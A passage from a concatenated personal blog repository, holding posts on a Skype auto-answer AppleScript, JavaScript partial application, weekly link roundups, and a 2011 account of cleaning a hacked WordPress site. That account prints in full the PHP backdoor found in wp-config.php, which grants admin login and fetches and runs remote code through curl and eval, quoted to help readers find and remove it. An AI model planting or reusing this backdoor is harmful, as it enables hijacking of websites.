AppleScript 3 | date: 2015-06-22 02:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | After discovering the ability to [auto answer FaceTime](/articles/2015/06/facetime-auto-answer-applescript/), I tried my hand at adapting the script for Skype. I waited a couple of days until my girlfriend had some downtime and patience to call me over and over while I tried to debug the elements on my screen. Eventually I figured out how to select the window, and then the correct button. I did try, unsuccessfully, for a long time to select the button based on the label. If anyone knows how to do this, please leave a comment! 9 | 10 | Continuing on, set up is much the same with only the basic code changed. Let's start again by opening up "Script Editor" and copying this snippet into the editor: 11 | 12 | ```applescript 13 | set contacts to {"Keyue Bao"} 14 | 15 | repeat 16 | repeat while application "Skype" is running 17 | tell application "System Events" 18 | tell process "Skype" 19 | set videoCallWindow to a reference to (first window whose name is "Incoming Video Call") 20 | 21 | if videoCallWindow exists then 22 | set callerId to value of static text 1 of videoCallWindow 23 | 24 | if contacts contains callerId then 25 | click button 2 of videoCallWindow 26 | end if 27 | end if 28 | end tell 29 | end tell 30 | delay 2 31 | end repeat 32 | delay 5 33 | end repeat 34 | ``` 35 | 36 | So, while Skype is running we try to select the incoming video call window. Of course, this window will only exist when we have a call to answer, so we check that it exists. After that, we grab the caller ID from the text element and check if it matches who we want. Then we click answer. It actually took me a few tried to figure out which index was the answer with video button as it doesn't follow visual order. 37 | 38 | Before we export, change the caller ID. Then, go to `File -> Export` and save it somewhere you'll remember. I exported mine to `Documents/Scripts/skype-auto-answer`. 39 | 40 | Next step, let's navigate to `cd ~/Library/LaunchAgents` in the Terminal and create our file using `vi com.blakeembrey.skype-auto-answer.plist`. In vim, you'll need to press `i` to go into "insert" mode. Copy and paste the code below, but remember to change the script location to where you just exported to. 41 | 42 | ```xml 43 | 44 | 45 | 46 | 47 | Label 48 | com.blakeembrey.skype-auto-answer 49 | Program 50 | /usr/bin/osascript 51 | ProgramArguments 52 | 53 | osascript 54 | /Users/blakeembrey/Documents/Scripts/skype-auto-answer.scpt 55 | 56 | RunAtLoad 57 | 58 | KeepAlive 59 | 60 | 61 | 62 | ``` 63 | 64 | And we're almost done. Let's exit vim (`Esc`, `:wq`, `Enter`) and get Launchd to pick up our changes. 65 | 66 | ``` 67 | launchctl load -w com.blakeembrey.skype-auto-answer.plist 68 | ``` 69 | 70 | Tada! You might need to accept the accessibility dialog that pops up, but the script will now be running. You can verify this by executing `launchctl list | grep skype-auto-answer`. 71 | 72 | Done! 73 | 74 | P.S. If you ever want to unload the script, just execute `launchctl unload -w com.blakeembrey.skype-auto-answer.plist`, same as you did to load. 75 | -------------------------------------------------------------------------------- /public/_redirects: -------------------------------------------------------------------------------- 1 | /articles/2011/04/wii-jailbreak-3-0-4-2 /posts/2011-04-wii-jailbreak 2 | /articles/2011/09/warning-somethings-not-right /posts/2011-09-warning-somethings-not-right 3 | /articles/2011/10/geektool-change-desktop-background /posts/2011-10-geektool-change-desktop-background 4 | /articles/2012/04/local-development-with-dnsmasq /posts/2012-04-local-development-with-dnsmasq 5 | /articles/2013/04/contributing-to-open-source /posts/2013-04-contributing-to-open-source 6 | /articles/2013/07/improve-dev-tools-console-workflow /posts/2013-07-improve-dev-tools-console-workflow 7 | /articles/2013/08/sublime-text-preferences /posts/2013-08-sublime-text-preferences 8 | /articles/2013/08/writing-github-pages-deploy-script /posts/2013-08-github-pages-deploy-script 9 | /articles/2013/09/introduction-to-browserify /posts/2013-09-introduction-to-browserify 10 | /articles/2013/12/javascript-bind-function /posts/2013-12-javascript-bind-function 11 | /articles/2013/12/javascript-variadic-function /posts/2013-12-javascript-variadic-function 12 | /articles/2014/01/compose-functions-javascript /posts/2014-01-compose-functions-javascript 13 | /articles/2014/01/forcing-function-arity-in-javascript /posts/2014-01-function-arity-in-javascript 14 | /articles/2014/01/javascript-invoke-function /posts/2014-01-javascript-invoke-function 15 | /articles/2014/01/javascript-result-utility /posts/2014-01-javascript-result-utility 16 | /articles/2014/01/javascript-tap-function /posts/2014-01-javascript-tap-function 17 | /articles/2014/01/partial-application-in-javascript /posts/2014-01-javascript-partial-application 18 | /articles/2014/01/wrapping-javascript-functions /posts/2014-01-wrapping-javascript-functions 19 | /articles/2014/02/introducing-node-retest /posts/2014-02-introducing-node-retest 20 | /articles/2014/02/mocha-test-harmony-generators /posts/2014-02-mocha-test-harmony-generators 21 | /articles/2014/05/angular-js-number-validation-bug /posts/2014-05-angular-js-number-validation-bug 22 | /articles/2014/09/building-a-blog-with-metalsmith /posts/2014-09-building-a-blog-with-metalsmith 23 | /articles/2014/12/syntax-highlighting-blog-diff-support /posts/2014-12-syntax-highlighting-blog-diff-support 24 | /articles/2015/04/typescript-constructor-of-type /posts/2015-04-typescript-constructor-of-type 25 | /articles/2015/06/facetime-auto-answer-applescript /posts/2015-06-facetime-auto-answer 26 | /articles/2015/06/skype-auto-answer-with-applescript /posts/2015-06-skype-auto-answer 27 | /articles/2015/11/state-of-typescript-packaging /posts/2015-11-state-of-typescript-packaging 28 | /articles/2016/01/intro-to-free-style-css-in-js /posts/2016-01-intro-to-free-style-css-in-js 29 | /self/2017-04-09-review /posts/2017-04-09-review 30 | /self/2017-04-16-review /posts/2017-04-16-review 31 | /self/2017-04-24-review /posts/2017-04-24-review 32 | /self/2017-05-01-review /posts/2017-05-01-review 33 | /self/2017-05-07-review /posts/2017-05-07-review 34 | /self/2017-05-16-review /posts/2017-05-16-review 35 | /self/2017-05-22-review /posts/2017-05-22-review 36 | /self/2017-05-30-review /posts/2017-05-30-review 37 | /self/2017-06-05-review /posts/2017-06-05-review 38 | /self/2017-06-12-review /posts/2017-06-12-review 39 | /self/2017-06-22-review /posts/2017-06-22-review 40 | /self/2017-06-26-review /posts/2017-06-26-review 41 | /self/2017-07-04-review /posts/2017-07-04-review 42 | /self/2017-07-10-review /posts/2017-07-10-review 43 | /self/2017-07-17-review /posts/2017-07-17-review 44 | /self/2017-07-23-review /posts/2017-07-23-review 45 | /self/2017-07-31-review /posts/2017-07-31-review 46 | /self/2017-08-09-review /posts/2017-08-09-review 47 | /self/2017-08-20-review /posts/2017-08-20-review 48 | /self/2017-08-28-review /posts/2017-08-28-review 49 | /self/2017-09-05-review /posts/2017-09-05-review 50 | /self/2017-09-11-review /posts/2017-09-11-review 51 | /software/git /posts/software-git 52 | -------------------------------------------------------------------------------- /posts/2017-08-28-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-08-28) 3 | date: 2017-08-28 19:00 4 | --- 5 | 6 | ## Internet 7 | 8 | - Favourite 9 | - [My First BillG Review](https://www.joelonsoftware.com/2006/06/16/my-first-billg-review/) 10 | - [Episode 3](https://github.com/Jackathan/MarcLaidlaw-Epistle3) 11 | - Useful 12 | - [Post a boarding pass on Facebook, get your account stolen](https://www.michalspacek.com/post-a-boarding-pass-on-facebook-get-your-account-stolen) 13 | - [Six Books I Wish I'd Read Before Starting College](https://www.thesimpledollar.com/six-books-i-wish-id-read-before-starting-college/) 14 | - [How to Prepare for a Potential Economic Recession](https://www.thesimpledollar.com/how-to-prepare-for-a-potential-economic-recession/) 15 | - [Finding the Motivation to Change](https://www.thesimpledollar.com/finding-the-motivation-to-change/) 16 | - [10 Simple Ways to Feel Better for Free](https://www.thesimpledollar.com/10-simple-ways-to-feel-better-for-free/) 17 | - [I Won the Powerball Lottery!](http://wealthyaccountant.com/2017/08/25/i-won-the-powerball-lottery/) 18 | - [Gaming the Earned Income Credit](http://wealthyaccountant.com/2016/12/02/gaming-the-earned-income-credit/) 19 | - Interesting 20 | - [From Zero to Wealthy in Two Years – With AirBnb?](http://www.mrmoneymustache.com/2017/08/16/airbnb/) 21 | - [Public Policy Polling: 45 Percent of Trump Voters Think Whites Face the Most Racial Discrimination in U.S.](https://daringfireball.net/linked/2017/08/23/trump-voters) 22 | - [What communists mean by private property](http://houstoncommunistparty.com/what-communists-mean-by-private-property/) 23 | - Opinion 24 | - [People Start Hating Their Jobs at Age 35](https://www.bloomberg.com/news/articles/2017-08-21/people-start-hating-their-jobs-at-age-35) 25 | - [Mushrooms might be the key to stronger infrastructure](https://www.technologyreview.com/s/608717/how-mushrooms-could-repair-our-crumbling-infrastructure/) 26 | - [The Truth About Rod Vagg](https://medium.com/@rvagg/the-truth-about-rod-vagg-f063f6a53557) 27 | - [Universities are broke. So let’s cut the pointless admin and get back to teaching](https://www.theguardian.com/commentisfree/2017/aug/21/universities-broke-cut-pointless-admin-teaching) 28 | - [Seth's Blog: Did you publish?](http://sethgodin.typepad.com/seths_blog/2017/08/did-you-publish.html) 29 | - [The myth of the skills gap](https://www.technologyreview.com/s/608707/the-myth-of-the-skills-gap/) 30 | - [The fabulous life and travels of a 28-year-old Malaysian billionaire heiress and CEO](http://www.independent.co.uk/life-style/the-fabulous-life-and-travels-of-a-28-year-old-malaysian-billionaire-heiress-and-ceo-a7874691.html) 31 | - News 32 | - [Trump babbles in the face of tragedy](https://www.washingtonpost.com/opinions/trump-babbles-in-the-face-of-tragedy/2017/08/12/a27211ba-7fbb-11e7-9d08-b79f191668ed_story.html) 33 | - [Here is the safety trick that will help SpaceX fly you to the moon](https://www.technologyreview.com/s/608677/here-is-the-safety-trick-that-will-help-spacex-fly-you-to-the-moon/) 34 | - Software 35 | - [Dumping Data from Deep-Insert Skimmers](https://krebsonsecurity.com/2017/08/dumping-data-from-deep-insert-skimmers/) 36 | 37 | ## Reading 38 | 39 | - Finished reading [The Communist Manifesto](https://www.goodreads.com/book/show/30474.The_Communist_Manifesto) 40 | - Also finished [Earth Afire](https://www.goodreads.com/book/show/16059350-earth-afire), [Earth Awakens](https://www.goodreads.com/book/show/18490707-earth-awakens) and [The Swarm](https://www.goodreads.com/book/show/26114175-the-swarm) 41 | - [What Technology Wants](https://www.goodreads.com/book/show/7954936-what-technology-wants) 42 | - [The Phoenix Project: A Novel About IT, DevOps, and Helping Your Business Win](https://www.goodreads.com/book/show/17255186-the-phoenix-project) (audiobook) 43 | -------------------------------------------------------------------------------- /posts/2017-07-17-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-07-17) 3 | date: 2017-07-17 11:00 4 | --- 5 | 6 | ## What Happened? 7 | 8 | - Visited [NYC Resistor](https://foursquare.com/v/nyc-resistor/48957adcf964a5206b511fe3) 9 | - Finished [Ender's Game](https://www.goodreads.com/book/show/375802.Ender_s_Game) 10 | - My first [VR experience](https://foursquare.com/v/novo-reality/59199c8aa22db716fdcd09f7) 11 | 12 | ## Internet 13 | 14 | - Useful 15 | - [Early Retirement at 33: An Overview](http://rootofgood.com/early-retirement-at-33-an-overview/) 16 | - Video 17 | - [How to Build and Manage Teams - CS183F](https://www.youtube.com/watch?v=alqHBCkSN8I) 18 | - Interesting 19 | - [Counting steps via smartphones reveals intriguing clues about obesity](http://news.stanford.edu/2017/07/10/stanford-researchers-find-intriguing-clues-obesity-counting-steps-via-smartphones/) 20 | - [We Gathered 100 Open Source Sustainers — Here’s What We Learned](https://medium.com/open-collective/we-gathered-100-open-source-sustainers-c24f571447a4) 21 | - [How we’re manipulated to rant about stuff we know nothing about](https://www.iwillteachyoutoberich.com/blog/rant-know-nothing/) 22 | - Opinion 23 | - [Life Is About to Get a Whole Lot Harder for Websites Without HTTPS](https://www.troyhunt.com/life-is-about-to-get-harder-for-websites-without-https/) 24 | - [Seth's Blog: A shared and useful illusion](http://sethgodin.typepad.com/seths_blog/2017/07/a-shared-and-useful-illusion.html) 25 | - [Maximize Your Wealth In 4 Hours Per Year](https://www.youneedabudget.com/maximize-your-wealth-in-4-hours-per-year/) 26 | - News 27 | - [A single photon is the first object to be teleported from the ground to an orbiting satellite](https://www.technologyreview.com/s/608252/first-object-teleported-from-earth-to-orbit/) 28 | - [Your best teammate might someday be an AI algorithm](https://www.technologyreview.com/s/608253/your-best-teammate-might-someday-be-an-algorithm/) 29 | - [Microsoft is tapping unused TV spectrum to bring Internet connectivity to rural America](https://www.technologyreview.com/s/608260/microsofts-bid-to-connect-rural-america-send-out-internet-in-between-tv-signals/) 30 | - [The next time you fly overseas, you may have to scan your face](https://www.technologyreview.com/s/608255/if-you-get-your-face-scanned-the-next-time-you-fly-heres-what-you-should-know/) 31 | - [Apple divulges how its secret AI gym is helping it track swimming on the Apple Watch](https://www.technologyreview.com/s/608250/how-apples-ai-secretive-gym-is-shaping-its-activity-tracking-algorithms/) 32 | - Software 33 | - [Upcoming Regular Expression Features](https://developers.google.com/web/updates/2017/07/upcoming-regexp-features) 34 | - [Wildcard Certificates Coming January 2018](https://letsencrypt.org//2017/07/06/wildcard-certificates-coming-jan-2018.html) 35 | - [The .io Error - Taking Control of All .io Domains With a Targeted Registration](https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/index.html) 36 | - [24-core CPU and I can’t move my mouse](https://randomascii.wordpress.com/2017/07/09/24-core-cpu-and-i-cant-move-my-mouse/) 37 | - [Announcing Gatsby 1.0.0 🎉🎉🎉](https://www.gatsbyjs.org/blog/gatsby-v1/) 38 | - [How We Scaled Our Cache and Got a Good Night's Sleep](http://engineering.grab.com/how-we-scaled-our-cache-and-got-a-good-nights-sleep) 39 | - [Security updates for all active release lines, July 2017](https://nodejs.org/en/blog/vulnerability/july-2017-security-releases/) 40 | - [Why the JVM is a Good Choice for Serverless Computing: John Chapin Discusses AWS Lambda at QCon NY](https://www.infoq.com/news/2017/06/fearless-aws-lambda) 41 | 42 | ## Reading 43 | 44 | - [The Red Queen: Sex and the Evolution of Human Nature](https://www.goodreads.com/book/show/16176.The_Red_Queen) 45 | - [Algorithms to Live By](https://www.goodreads.com/book/show/25666050-algorithms-to-live-by) (audiobook) 46 | -------------------------------------------------------------------------------- /posts/2014-01-javascript-partial-application.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Partial Application in JavaScript 3 | date: 2014-01-25 23:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | Partial application is the act of pre-filling arguments of a function and returning a new function of smaller arity. The returned function can be called with additional parameters and in JavaScript, the `this` context can also be changed when called. Using a partially applied function is extremely common in functional programming with JavaScript as it allows us to compose some really nifty utilities and avoid repeating ourselves in code. 9 | 10 | In modern JavaScript engines, there is a [bind function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind) which can be used to achieve a similar result. The difference between `partial` and `bind` is that the a partial functions `this` context is set when the returned function is called, while a bound functions `this` context has already been defined and can't be changed. 11 | 12 | ```javascript 13 | var __slice = Array.prototype.slice; 14 | 15 | /** 16 | * Wrap a function with default arguments for partial application. 17 | * 18 | * @param {Function} fn 19 | * @param {*} ... 20 | * @return {Function} 21 | */ 22 | var partial = function (fn /*, ...args */) { 23 | var args = __slice.call(arguments, 1); 24 | 25 | return function () { 26 | return fn.apply(this, args.concat(__slice.call(arguments))); 27 | }; 28 | }; 29 | ``` 30 | 31 | From the function above, we can understand that `partial` accepts the function to be pre-filled and it's default arguments. It then returns a new function which can be called with some more arguments. It's important to note that the context (`this`) is being defined when the returned function is called. But when would you even want to use this? 32 | 33 | Normally I would be happy to give a simple example of transforming an `add` function into an `add5` by partially applying it - `partial(add, 5)`. This definitely demonstates how we can use the utility, but doesn't really touch on why. 34 | 35 | Consider writing a logging utility that accepts some different arguments that need to be logged - `var log = function (type, value) {}`. Fantastic, it looks like a really simple function to use. But now we want set every log in our file to the `testing` type. We can do a couple of things to achieve this. One option would be to assign our type to a variable and reuse the variable - `var testType = 'Testing'` and `log(testType, value)`. This will get messy after we write it more than once. What if we just wrapped the `log` function automatically? 36 | 37 | ```javascript 38 | var testLog = function () { 39 | return log.apply(this, ["testing"].concat(__slice.call(arguments))); 40 | }; 41 | ``` 42 | 43 | Great, this looks familiar - we could have just used partial - `var testLog = partial(log, 'Testing')`. Now we have a function we can continue to reuse any number of times without fear of repeating ourselves. 44 | 45 | ## Bonus Points 46 | 47 | If you've been reading any of my previous blog posts, you may have noticed me abusing the usefulness of [function arity](http://blakeembrey.com/articles/forcing-function-arity-in-javascript/) in anonymously returned functions. And in another article I wrote about a utility that can help us remove the [repetitive argument slicing](http://blakeembrey.com/articles/javascript-variadic-function/). If you haven't checked out these utilities yet, take a quick look and I bet you'll see how we could use them here. 48 | 49 | ```javascript 50 | var partial = variadic(function (fn, args) { 51 | var remaining = Math.max(fn.length - args.length, 0); 52 | 53 | return arity( 54 | remaining, 55 | variadic(function (called) { 56 | return fn.apply(this, args.concat(called)); 57 | }), 58 | ); 59 | }); 60 | ``` 61 | 62 | Now the returned partially applied function gives us the correct number of trailing arguments still to be filled using the `arity` utility. On top of that, we managed to get rid of slicing arguments constantly by using the `variadic` utility. In fact, I've been so interested in these reusable utilities that I published the [partial utility on Github](https://github.com/blakeembrey/partial) so I can reuse it later. 63 | -------------------------------------------------------------------------------- /posts/2017-05-01-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-05-01) 3 | date: 2017-05-01 09:30 4 | --- 5 | 6 | ## What Happened? 7 | 8 | - [Ran another 25km](https://runkeeper.com/user/blakeembrey/activity/973473448) 9 | - Third week of [Mindshift](https://www.coursera.org/learn/mindshift) course 10 | - Another week of [Startup School](https://www.startupschool.org/course) 11 | 12 | ## Internet 13 | 14 | - Articles 15 | - [Reckon you've seen some stupid security things? Here, hold my beer...](https://www.troyhunt.com/reckon-youve-seen-some-stupid-security-things-here-hold-my-beer/) 16 | - [Dammit LinkedIn, I'm a college dropout! - Paul Holmes](http://paulholmes.ca/2009/11/20/dammit-linkedin-im-a-college-dropout/) 17 | - [Blind Trust in Email Could Cost You Your Home — Krebs on Security](https://krebsonsecurity.com/2017/04/blind-trust-in-email-could-cost-you-your-home/) 18 | - [No feigning surprise - Julia Evans](https://jvns.ca/blog/2017/04/27/no-feigning-surprise/) 19 | - [Should I fire a software engineer for always working on his side projects during office hours? - Quora](https://www.quora.com/Should-I-fire-a-software-engineer-for-always-working-on-his-side-projects-during-office-hours) 20 | - [What the Cultural Appropriation Conversation Leaves Out About Asians](http://www.complex.com/life/2016/06/asian-identities-cultural-appropriation) 21 | - [There Are No Guarantees](http://www.mrmoneymustache.com/2017/04/25/there-are-no-guarantees/) 22 | - [Why I Don't Prepare For Job Interviews](https://dev.to/pbeekums/why-i-dont-prepare-for-job-interviews) 23 | - [Just Say No · Jacques Mattheij](http://jacquesmattheij.com/just-say-no) 24 | - [When a \$200,000 Tech Salary Just Isn't Worth It](https://motherboard.vice.com/en_us/article/when-a-dollar200000-tech-salary-just-isnt-worth-it) 25 | - [The Guardian pulls out of Facebook’s Instant Articles and Apple News](http://digiday.com/media/guardian-pulls-facebooks-instant-articles-apple-news/) 26 | - [Snyk - Serverless Security implications—from infra to OWASP](https://snyk.io/blog/serverless-security-implications-from-infra-to-owasp/) 27 | - [Migrating from Heroku to AWS: Our Story – AdStage Engineering](https://medium.com/adstage-engineering/migrating-from-heroku-to-aws-our-story-80084d31025e) 28 | - [Hasan Minhaj’s harshest burns at the White House correspondents’ dinner](https://www.washingtonpost.com/news/reliable-source/wp/2017/04/30/hasan-minhajs-harshest-burns-at-the-white-house-correspondents-dinner/) 29 | - [Daring Fireball: On Uber’s ‘Identifying and Tagging’ of iPhones](https://daringfireball.net/2017/04/uber_identifying_and_tagging_iphones) 30 | - [Daring Fireball: Are Trump Voters Ruining America for All of Us?](https://daringfireball.net/linked/2017/04/27/nichols-trump) 31 | - [Daring Fireball: Sheldon Whitehouse on the Politics of Climate Change](https://daringfireball.net/linked/2017/04/27/whitehouse-climate-change) 32 | - [Wikipedia censored from the Internet in Turkey](https://www.privateinternetaccess.com/blog/2017/04/wikipedia-censored-from-the-internet-in-turkey/) 33 | - [The Time I Had to Crack My Own Reddit Password | Haseeb Qureshi](http://haseebq.com/the-time-i-had-to-crack-my-own-reddit-password/) 34 | - [The Story of NESticle, the Ambitious Emulator That Redefined Retro Gaming](https://motherboard.vice.com/en_us/article/the-story-of-nesticle-the-ambitious-emulator-that-redefined-retro-gaming) 35 | - Videos 36 | - [The future we're building -- and boring](https://www.ted.com/talks/elon_musk_the_future_we_re_building_and_boring) 37 | - [How to Build a Product II, Aaron Levie - Box - CS183F](https://www.youtube.com/watch?v=qRt7mFuKwQY) 38 | - [How to Build a Product III - Jason Lemkin, Solomon Hykes, Tracy Young and Harry Zhang - CS183F](https://www.youtube.com/watch?v=09GRs0FXdWQ) 39 | - [How to Build a Product IV - Jan Koum - CS183F](https://www.youtube.com/watch?v=s1Rd4UShDxQ) 40 | - [Ivanka & Jared: Last Week Tonight with John Oliver (HBO)](https://www.youtube.com/watch?v=wD8AwgO0AQI) 41 | - [Gorillaz - The Apprentice](https://www.youtube.com/watch?v=LdPyYze2NIA) 42 | 43 | ## Reading 44 | 45 | - [I Will Fear No Evil](https://www.goodreads.com/book/show/175325.I_Will_Fear_No_Evil) 46 | - [Unshakeable](https://www.goodreads.com/book/show/22543496-elon-musk) (audiobook) 47 | -------------------------------------------------------------------------------- /posts/2011-09-warning-somethings-not-right.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Warning - Something's Not Right Here 3 | date: 2011-09-30 12:00 4 | author: Blake Embrey 5 | layout: article 6 | --- 7 | 8 | ![Chrome is broken](images/2011-09-warning.png) 9 | 10 | About two days ago, I received a warning from Google saying my website has been exploited and hacked. Of course, the emails they sent I never received, so I didn’t realise I had an issue until about an hour ago. My first reaction was OMG, WTF! I knew it most likely had something to do with the recent TimThumb exploit, but I didn’t even know my theme had TimThumb included. I also looked at the Google diagnostic repost which it linked me to, which I found the malware related to `counter-wordpress.com`. 11 | 12 | First of all, I would advise running the script found at [Sucuri](http://blog.sucuri.net/2011/08/timthumb-php-security-vulnerability-just-the-tip-of-the-iceberg.html). Then, scan your site using the [Sucuri Site Scanner](http://sitecheck.sucuri.net/scanner/) to find out which pages they have exploited and how. This is the best little site I have found for this, and I would definitely bookmark it for future reference as well if I were you. 13 | 14 | Extremely quickly, I jumped to action. This is the exact steps I took and you can take too, to remove the exploits from your code: 15 | 16 | 1. Delete the following files: 17 | 18 | ``` 19 | wp-admin/upd.php 20 | wp-content/upd.php 21 | ``` 22 | 23 | 2. Log into WordPress admin and reinstall your WordPress version. We are focusing on these three files: 24 | 25 | ``` 26 | wp-settings.php 27 | wp-includes/js/jquery/jquery.js 28 | wp-includes/js/l10n.js 29 | ``` 30 | 31 | 3. Open "`wp-config.php`" and look for anything that seems out of place. In mine, I found a script which appears to harvest login credentials/cookies, which found on the 2000 or so line. Above and a few thousand lines below were all blank: 32 | 33 | ```php 34 | if (isset($_GET['pingnow'])&& isset($_GET['pass'])){ 35 | if ($_GET['pass'] == '19ca14e7ea6328a42e0eb13d585e4c22'){ 36 | if ($_GET['pingnow']== 'login'){ 37 | $user_login = 'admin'; 38 | $user = get_userdatabylogin($user_login); 39 | $user_id = $user->ID; 40 | wp_set_current_user($user_id, $user_login); 41 | wp_set_auth_cookie($user_id); 42 | do_action('wp_login', $user_login); 43 | } 44 | if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){ 45 | $ch = curl_init($_GET['file']); 46 | $fnm = md5(rand(0,100)).'.php'; 47 | $fp = fopen($fnm, "w"); 48 | curl_setopt($ch, CURLOPT_FILE, $fp); 49 | curl_setopt($ch, CURLOPT_HEADER, 0); 50 | curl_setopt($ch, CURLOPT_TIMEOUT, 5); 51 | curl_exec($ch); 52 | curl_close($ch); 53 | fclose($fp); 54 | echo ""; 55 | } 56 | if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){ 57 | $ch = curl_init($_GET['file']); 58 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 59 | curl_setopt($ch, CURLOPT_HEADER, 0); 60 | curl_setopt($ch, CURLOPT_TIMEOUT, 5); 61 | $re = curl_exec($ch); 62 | curl_close($ch); 63 | eval($re); 64 | }}} 65 | ``` 66 | 67 | 4. In your theme, look for anywhere the TimThumb script may be storing the cached files. These are generally along the lines of: 68 | 69 | ``` 70 | wp-content/themes/theme-name/scripts/cache/external_{MD5Hash}.php 71 | wp-content/themes/theme-name/temp/cache/external_{MD5Hash}.php 72 | ``` 73 | 74 | If you found anything like the above, delete it straight away. If you're not sure, delete every file that isn’t an image. 75 | 76 | 5. Replace `timthumb.php` with the latest version found at `http://timthumb.googlecode.com/svn/trunk/timthumb.php`. 77 | 78 | 6. Change your MySQL and login password and update wp-config.php to correspond with the update. 79 | 80 | 7. Change the secret keys in `wp-config.php`. 81 | 82 | 8. Clear your browsers cache and cookies. 83 | 84 | 9. Empty any page caching plugins you may have enabled to push the updates through to your visitors. 85 | 86 | Throughout this, I also found a botting script and some spam black hat links. Make sure you scan your site using the [Sucuri Site Scanner](http://sitecheck.sucuri.net/scanner/) once again to make sure you removed all the exploits. When you are sure you have removed everything, submit your site to Google for review. This can be done in the `Diagnostics -> Malware` tab of your Google Webmaster account. To keep up with anymore potential exploits, I would recommend following their fantastic blog found at [blog.sucuri.net](http://blog.sucuri.net/). 87 | -------------------------------------------------------------------------------- /posts/2017-07-04-review.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: My Week in Review (2017-07-04) 3 | date: 2017-07-04 15:00 4 | --- 5 | 6 | ## Internet 7 | 8 | - Useful 9 | - [Recommended Reading](http://wealthyaccountant.com/2017/06/26/recommended-reading/) 10 | - [Welcome to the age of abundance](https://www.iwillteachyoutoberich.com/blog/welcome-to-the-age-of-abundance/) 11 | - [Converting Full Time Pay to Hourly Contract Rate](https://hueniverse.com/converting-full-time-pay-to-hourly-contract-rate-5925295fe52c) 12 | - [Silicon Valley Women, in Cultural Shift, Frankly Describe Sexual Harassment](https://www.nytimes.com/2017/06/30/technology/women-entrepreneurs-speak-out-sexual-harassment.html) 13 | - Video 14 | - [Quick D: The Magic of Will Tsai](https://www.youtube.com/watch?v=_dSp_f0f9gE) 15 | - Interesting 16 | - [Religion has no monopoly on transcendent experience](https://aeon.co/essays/religion-has-no-monopoly-on-transcendent-experience) 17 | - [One in Five Adults May Have a Problem in Their Genomes](https://www.technologyreview.com/s/608162/dna-testing-reveals-the-chance-of-bad-news-in-your-genes/) 18 | - [How I Took an API Side Project to over 250 Million Daily Requests With a \$0 Marketing Budget](https://blog.ipinfo.io/api-side-project-to-250-million-requests-with-0-marketing-budget-bb0de01c01f6?gi=56e96f1441b7) 19 | - [Why You Need to Go to the Office](http://wealthyaccountant.com/2017/06/30/why-you-need-to-go-to-the-office/) 20 | - [Not Your Exotic Fantasy](https://medium.com/@amyngyn/not-your-exotic-fantasy-cb551f0d8bf4) 21 | - [What to Blame for Your Stomach Bug? Not Always the Last Thing You Ate](https://www.nytimes.com/2017/06/29/well/live/what-to-blame-for-your-stomach-bug-not-always-the-last-thing-you-ate.html) 22 | - [Is it Time to Can the CAN-SPAM Act?](https://krebsonsecurity.com/2017/07/is-it-time-to-can-the-can-spam-act/) 23 | - [In London, millennials experiment with shared ownership](https://therealdeal.com/2017/06/25/in-london-millennials-experiment-with-shared-ownership/) 24 | - [Amazon’s New Customer](https://stratechery.com/2017/amazons-new-customer/) 25 | - [The Fastest Way to Grow Your Net Worth](http://wealthyaccountant.com/2017/07/03/the-fastest-way-to-grow-your-net-worth/) 26 | - Opinion 27 | - [Got Robocalled? Don’t Get Mad; Get Busy](https://krebsonsecurity.com/2017/06/got-robocalled-dont-get-mad-get-busy/) 28 | - [Why 1 View is Everything](https://medium.com/@garyvee/why-1-view-is-everything-3fe415cf3678) 29 | - [Daring Fireball: Dickbars Don't Work](https://daringfireball.net/linked/2017/06/27/clark-dickbars-dont-work) 30 | - [Daring Fireball: Bloomberg Is Really Shitting the Bed Lately](https://daringfireball.net/linked/2017/06/27/bloomberg-apple-hertz) 31 | - [‘Your’ vs. ‘My’](https://daringfireball.net/2017/06/your_vs_my) 32 | - [Donald Trump is not well](https://www.washingtonpost.com/opinions/donald-trump-is-not-well/2017/06/30/97759ee0-5d0f-11e7-9b7d-14576dc0f39d_story.html) 33 | - [The Litt Review: Ender's Game](https://www.burntfen.com/the-litt-review/enders-game/) 34 | - [Daring Fireball: Ming-Chi Kuo Says No Touch ID on New OLED iPhone](https://daringfireball.net/linked/2017/07/03/kuo-iphone-2017-touch-id) 35 | - News 36 | - [For Men Cleared in Jogger Case, Belated Pomp and Circumstance](https://www.nytimes.com/2017/06/26/nyregion/central-park-jogger-case-honorary-diplomas.html) 37 | - [Google just got hit with a \$2.7 billion antitrust fine](https://www.technologyreview.com/s/608182/google-just-got-hit-with-a-27-billion-antitrust-fine-from-the-eu/) 38 | - [Australian Drug Cartel Used Drone to Spy on Police](http://www.thedrive.com/aerial/12050/australian-drug-cartel-used-drone-to-spy-on-police) 39 | - Software 40 | - [How Not to Encrypt a File — Courtesy of Microsoft](https://medium.com/@bob_parks1/how-not-to-encrypt-a-file-courtesy-of-microsoft-bfadf2b0273d) 41 | - [Ships-Log, my new to do list manager](https://medium.com/@richlitt/ships-log-my-new-to-do-list-manager-6a1d9397a0db) 42 | - [A Man-in-the-Middle Attack against a Password Reset System](https://www.schneier.com/blog/archives/2017/07/a_man-in-the-mi.html) 43 | 44 | ## Reading 45 | 46 | - Finished [Morning Star](https://www.goodreads.com/book/show/18966806-morning-star) and [The Defining Decade](https://www.goodreads.com/book/show/13523061-the-defining-decade) 47 | - [Ender's Game](https://www.goodreads.com/book/show/375802.Ender_s_Game) 48 | - [Algorithms to Live By](https://www.goodreads.com/book/show/25666050-algorithms-to-live-by) (audiobook) 49 | -------------------------------------------------------------------------------- /posts/2014-01-function-arity-in-javascript.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Forcing Function Arity in JavaScript 3 | date: 2014-01-22 23:30 4 | author: Blake Embrey 5 | layout: article 6 | npm: util-arity 7 | github: blakeembrey/arity 8 | --- 9 | 10 | Function arity in something in JavaScript that is usually overlooked. For the most part, 